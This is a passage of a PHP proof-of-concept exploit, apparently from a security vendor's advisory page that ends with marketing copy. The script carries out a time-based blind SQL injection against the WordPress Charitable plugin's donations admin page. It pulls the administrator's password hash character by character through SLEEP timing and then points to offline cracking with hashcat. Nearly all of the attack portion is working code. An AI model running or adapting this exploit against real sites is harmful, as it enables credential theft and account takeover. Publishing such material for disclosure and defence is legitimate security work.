        // 58-57 are 0-9, 97-102 are a-f, skip non-hex range
        if ( $ascii > 57 && $ascii < 97 ) {
            continue;
        }
        $char = chr($ascii);
        
        // Blind SQL injection payload: checks if char at position matches
        // Example: ' AND (SELECT IF(SUBSTRING(user_pass,1,1)='a',SLEEP(2),0) FROM wp_users WHERE user_login='admin')-- 
        $payload = "' OR (SELECT IF(SUBSTRING(user_pass,$position,1)='$char',SLEEP(2),0) FROM wp_users WHERE user_login='$admin_user')-- ";
        
        $injection_url = $target_url . '/wp-admin/admin.php?page=charitable-donations&s=' . urlencode($payload);
        
        $start_time = microtime(true);
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $injection_url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        $response = curl_exec($ch);
        curl_close($ch);
        $elapsed = microtime(true) - $start_time;
        
        if ( $elapsed > 1.5 ) {
            // Sleep of 2 seconds detected, char matches
            $extracted_hash .= $char;
            echo "[INFO] Found char at position $position: $char (hash so far: $extracted_hash)n";
            $found_char = true;
            break;
        }
    }
    
    if ( !$found_char ) {
        echo "[INFO] Position $position: No match found, hash may be shorter or different format. Stopping.n";
        break;
    }
}

echo "n[RESULT] Extracted admin password hash: $extracted_hashn";
echo "[INFO] This hash can be cracked offline (hashcat mode 400 for MD5 or mode 3200 for bcrypt).n";

// Clean up
unlink('cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School